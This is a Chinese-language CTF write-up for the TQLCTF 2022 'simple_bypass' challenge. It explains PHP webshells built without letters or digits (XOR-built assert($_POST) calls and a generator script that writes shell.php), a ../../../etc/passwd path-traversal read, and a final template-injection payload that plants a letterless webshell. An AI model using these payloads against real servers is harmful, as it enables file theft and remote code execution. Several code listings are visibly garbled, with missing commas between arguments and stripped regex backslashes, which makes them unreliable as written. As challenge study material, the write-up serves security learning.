[TQLCTF 2022]simple_bypass

admin 2022年11月13日22:41:38评论53 views字数 9263阅读30分52秒阅读模式

无字母webshell

前言

在我们做web题目的时候,常常会遇到一些正则过滤,不允许我们输入的shell含有字母和数字,这时候则考查的是我们队无字母shell的理解和编写。接下来将个大家讲解常见的几种无字母webshell。

方法一

由于在php中,两个字符串异或的结果还是一个字符串,所以我们可以找到两个不是字母和数字的字符进行异或,他们得到的结果是我们所想要的字母即可。 这里引用PHITHON大神的一个例子。

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

方法二

  • 这个我感觉是比较有趣的,简单来说就是把汉字中的其中一部分取出来,再进行取反,则会得到某个字母。
[TQLCTF 2022]simple_bypass
  • 这里我根据p神的文章写了个shell生成脚本。
<?php 
header("content-type:text/html;charset=utf-8");
$str="当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,厦门的海风伴着妮妲路过后带来的淅淅沥沥的小雨,也去不走我身上任何一个毛孔里的热气。好在旅社的生活用品一应俱全,洗完澡后我爬到屋顶旅社是一个老别墅,说起来也不算老,比起隔壁一家旧中国时期的房子要豪华得多,竖立在笔山顶上与厦门岛隔海相望。站在屋顶向下看,灯火阑珊的鼓浪屿街市参杂在绿树与楼宇间,依稀还可以看到熙熙攘攘的游客。大概是夜晚渐深的缘故,周围慢慢变得宁静下来,我忘记白天在奔波什么,直到站在这里的时候,我才知道我寻找的答案并不在南方当然也不在北方,北京的很多东西让我非常丧气,包括自掘坟墓的中介和颐指气使的大人们;北京也有很多东西让我喜欢,我喜欢颐和园古色古香的玉澜堂,我喜欢朝阳门那块“永延帝祚”的牌坊,喜欢北京鳞次栉比的老宅子和南锣鼓巷的小吃。但这些都不是我要的答案,我也不知道我追随的是什么,但想想百年后留下的又是什么,想想就很可怕我曾经为了吃一碗臭豆腐,坐着优步从上地到北海北,兴冲冲地来到那个垂涎已久的豆腐摊前,用急切又害羞的口吻对老板说,来两份量的臭豆腐。其实也只要10块钱,吃完以后便是无与伦比的满足感。我记得那是毕业设计审核前夕的一个午后,五月的北京还不算炎热,和煦的阳光顺着路边老房子的屋檐洒向大地,但我还是不敢站在阳光下,春天的燥热难耐也绝不输给夏天。就像很多人冷嘲热讽的那样,做这一行谁敢把自己完全曝光,甭管你是黑帽子白帽子还是绿帽子";
$str=str_replace(" """$str);
$str=str_replace(","""$str);
$str=str_replace("。"""$str);
$str=str_replace("“"""$str);
$str=str_replace("”"""$str);
$length=mb_strlen($str,'utf-8');
$str_arr=[];//用来存储字符串的数组
for($i=0;$i<$length;$i++)
{
 $str_arr[]=mb_substr($str$i,1,'utf-8');
}
$payload_arr=[];
$temp_arr=str_split(@$_GET['payload']);
$len=sizeof($temp_arr);
echo $len;
for($j=0;$j<$len;$j++)
{
 for($i=0;$i<$length;$i++)
 {
  if((~($str_arr[$i]{1}))===$temp_arr[$j])
  {

   $payload_arr[]=$str_arr[$i];
   break;
  }
 }
}
$parm_arr=[];
$temp_arr=str_split(@$_GET['parm']);
$len=sizeof($temp_arr);
for($j=0;$j<$len;$j++)
{
 for($i=0;$i<$length;$i++)
 {
  if((~($str_arr[$i]{1}))===$temp_arr[$j])
  {

   $parm_arr[]=$str_arr[$i];
   break;
  }
 }
}
var_dump($payload_arr);
var_dump($parm_arr);
$payload='';
$shell='<?php $_=('>'>'<');echo $_;';
for($i=0;$i<sizeof($payload_arr);$i++)
{
 $payload.='$__.=(~(''.$payload_arr[$i].''{$_}));';
}
for($i=0;$i<sizeof($parm_arr);$i++)
{
 $parm.='$___.=(~(''.$parm_arr[$i].''{$_}));';
}
$shell.=$payload;
$shell.=$parm;
$shell.='$__($$___['!']);?>';
file_put_contents('shell.php'$shell);
var_dump($arr2);

 ?>

<!DOCTYPE html>
<html>
<head>
 <meta charset="utf-8">
 <meta name="viewport" content="width=device-width, initial-scale=1">
 <title></title>
</head>
<body>
 <form accept="/" method="get">
  函数<input type="text" name="payload">
  参数<input type="text" name="parm">
  <input type="submit" value="提交">
 </form>
</body>
</html>
  • 但这里有个限制,就是题目没有对payload有明确的长度限制,可以用这个方法。

CTF中的无字母webshell

[TQLCTF 2022]simple_bypass

  • 进入,能看见有一个注册界面,注册完登录。
[TQLCTF 2022]simple_bypass
[TQLCTF 2022]simple_bypass
  • 在这个好康的这个图标,进行抓包
[TQLCTF 2022]simple_bypass
  • 发现这个功能是去读取文件图片信息,然后通过base64编码进行输出,修改参数为../../../etc/passwd
[TQLCTF 2022]simple_bypass
  • 发现有数据,则这里存在任意文件读取。读取源码。
  • index.php
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
 $hash_user = md5($_POST['user']);
 $hash_pass = 'zsf'.md5($_POST['pass']);
 if(isset($_POST['punctuation'])){
  //filter
  if (strlen($_POST['user']) > 6){
   echo("<script>alert('Username is too long!');</script>");
  }
  elseif(strlen($_POST['website']) > 25){
   echo("<script>alert('Website is too long!');</script>");
  }
  elseif(strlen($_POST['punctuation']) > 1000){
   echo("<script>alert('Punctuation is too long!');</script>");
  }
  else{
   if(preg_match('/[^w/()*<>]/'$_POST['user']) === 0){
    if (preg_match('/[^w/*:.;()n<>]/'$_POST['website']) === 0){
     $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>?]/","",$_POST['punctuation']);
     $template = file_get_contents('./template.html');
     $content = str_replace("__USER__"$_POST['user'], $template);
     $content = str_replace("__PASS__"$hash_pass$content);
     $content = str_replace("__WEBSITE__"$_POST['website'], $content);
     $content = str_replace("__PUNC__"$_POST['punctuation'], $content);
     file_put_contents('sandbox/'.$hash_user.'.php'$content);
     echo("<script>alert('Successed!');</script>");
    }
    else{
     echo("<script>alert('Invalid chars in website!');</script>");
    }
   }
   else{
    echo("<script>alert('Invalid chars in username!');</script>");
   }
  }
 }
 else{
  setcookie("user"$_POST['user'], time()+3600);
  setcookie("pass"$hash_pass, time()+3600);
  Header("Location:sandbox/$hash_user.php");
 }
}
?>

<!doctype html>
<html lang="zh">
<head>
 <meta charset="UTF-8">
 <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>Simple Linux</title>
 <link rel="stylesheet" type="text/css" href="css/styles.css">
 <!--[if IE]>
  <script src="http://libs.baidu.com/html5shiv/3.7/html5shiv.min.js"></script>
 <![endif]-->
</head>
<body>
 <div class="jq22-container" style="padding-top:100px">
  <div class="login-wrap">
   <div class="login-html">
    <input id="tab-1" type="radio" name="tab" class="sign-in" checked><label for="tab-1" class="tab">Sign In</label>
    <input id="tab-2" type="radio" name="tab" class="sign-up"><label for="tab-2" class="tab">Sign Up</label>
    <div class="login-form">
     <form action="index.php" method="post">
      <div class="sign-in-htm">
       <div class="group">
        <label for="user" class="label">Username</label>
        <input id="user" name="user" type="text" class="input">
       </div>
       <div class="group">
        <label for="pass" class="label">Password</label>
        <input id="pass" name="pass" type="password" class="input" data-type="password">
       </div>
       <!-- <div class="group">
        <input id="check" type="checkbox" class="check" checked>
        <label for="check"><span class="icon"></span> Keep me Signed in</label>
       </div> -->
       <div class="group">
        <input type="submit" class="button" value="Sign In">
       </div>
       <div class="hr"></div>
       <!-- <div class="foot-lnk">
        <a href="#forgot">Forgot Password?</a>
       </div> -->
      </div>
     </form>
     <form action="index.php" method="post">
      <div class="sign-up-htm">
       <div class="group">
        <label for="user" class="label">Username</label>
        <input id="user" name="user" type="text" class="input">
       </div>
       <div class="group">
        <label for="pass" class="label">Password</label>
        <input id="pass" name="pass" type="password" class="input" data-type="password">
       </div>
       <div class="group">
        <label for="pass" class="label">Your Website</label>
        <input id="pass" name="website" type="text" class="input">
       </div>
       <div class="group">
        <label for="pass" class="label">Your Punctuation</label>
        <input id="pass" name="punctuation" type="text" class="input">
       </div>
       <div class="group">
        <input type="submit" class="button" value="Sign Up">
       </div>
       <div class="hr"></div>
       <div class="foot-lnk">
        <label for="tab-1">Already Member?</a>
       </div>
      </div>
     </form>
    </div>
   </div>
  </div>
 </div>
 
</body>
</html>


  • template.html
<?php
   error_reporting(0);
   $user = ((string)__USER__);
   $pass = ((string)__PASS__);
   
   if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
    echo($_COOKIE['user']);
   }
   else{
    die("<script>alert('Permission denied!');</script>");
   }
  ?>
  </li>
      </ul>
      <ul class="item">
        <li><span class="sitting_btn"></span>系统设置</li>
        <li><span class="help_btn"></span>使用指南 <b></b></li>
        <li><span class="about_btn"></span>关于我们</li>
        <li><span class="logout_btn"></span>退出系统</li>
      </ul>
    </div>
  </div>
</div>
<a href="#" class="powered_by">__PUNC__</a>
<ul id="deskIcon">
  <li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>
    <div class="text">图片
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/></span>
    <div class="text">游戏
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/></span>
    <div class="text"><b>好康的</b>
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/></span>
    <div class="text"><b>你的网站</b>
      <div class="right_cron"></div>
    </div>
  </li>

</ul>

<div id="taskBar">
  <div id="leftBtn"><a href="#" class="upBtn"></a></div>
  <div id="rightBtn"><a href="#" class="downBtn"></a> </div>
  <div id="task_lb_wrap">
    <div id="task_lb"></div>
  </div>
</div>

</div>
</body>
</html>

  • 首先看index.php,这里对我们传如的参数进行了校验,首先我们能看到,这里打开了template.html文件,然后去把文件里的相关字段进行替换,最后查询写入一个php文件里面,这边user被限制在6位以下,所以不能写shell,passwd被进行了MD5加密,也无法利用,website在文件中的位置比较难以利用,只能在__PUNC__做文章,这里位了防止html标签对我们的影响,我们需要使用注释去注释掉,然后我们可以看到这里对punctuation进行了正则匹配,所以要用无字母webshell,由于这边限制了长度,所以我们上面第二种方法就不适用了。

payload

username:
1)/*
password:
123
website:
123
punctuation:
(这里用了网上拿的一个例子)

*/); $_='($((%-'^'[][@@';$__='#:%('^'|}`|';$___=$$__;echo $___;$_($___['!']);/*

原文始发于微信公众号(珠天PearlSky):[TQLCTF 2022]simple_bypass

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月13日22:41:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [TQLCTF 2022]simple_bypasshttp://cn-sec.com/archives/1405464.html

发表评论

匿名网友 填写信息